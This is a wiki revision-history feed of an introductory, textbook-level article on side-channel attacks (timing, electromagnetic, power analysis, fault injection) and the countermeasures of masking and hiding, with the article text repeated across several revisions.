From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;ISCA&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8937</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8937"/>
		<updated>2021-12-21T19:04:24Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.&amp;lt;ref name=&amp;quot;7522801&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;7522801&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8936</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8936"/>
		<updated>2021-12-21T19:03:56Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Types of Side Channel Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
